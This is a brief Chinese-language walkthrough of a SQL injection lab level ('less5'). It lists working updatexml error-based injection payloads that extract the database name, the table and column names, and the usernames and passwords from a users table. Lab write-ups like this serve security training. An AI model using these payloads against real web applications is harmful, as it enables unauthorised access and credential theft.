打开less5看到这个提示
请输入id作为数值的参数
输入?id=1或者?id=1"显示正常
输入?id=1'显示不正常
用updatexml报错注入查询吧
报错注入不许判断字段数,所以爆数据库名就好了
输入?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
//updatexml是MySQL的一个函数,用于更新XML数据。concat 函数将波浪线、数据库名称和另一个波浪线连接在一起。0x7e 波浪线字符的十六进制代码。这用作文本分隔符。(select database())用于返回数据库名 and'结束语句
爆数据表
输入?id=1' or updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema=database()),'~'),1) or '
//or 逻辑运算符”或“使得返回真总而SQL注入 group_contat产生长字符串 or '结束代码
爆字段
输入?id=1' or updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),1) or '
//表列名称
输入 ?id=1' or updatexml(1,right(concat('~',(select group_concat(column_name)from information_schema.columns where table_name='users'),'~'),32),1) or '
//右侧末尾32字符
爆数据
输入 ?id=1' and updatexml(1, concat(0x7e,(select (group_concat(username,password)) from users),0x7e),1) or '
输入 ?id=1' and updatexml(1, right(concat(0x7e,(select (group_concat(username,password)) from users),0x7e),32),1) or '
好的完成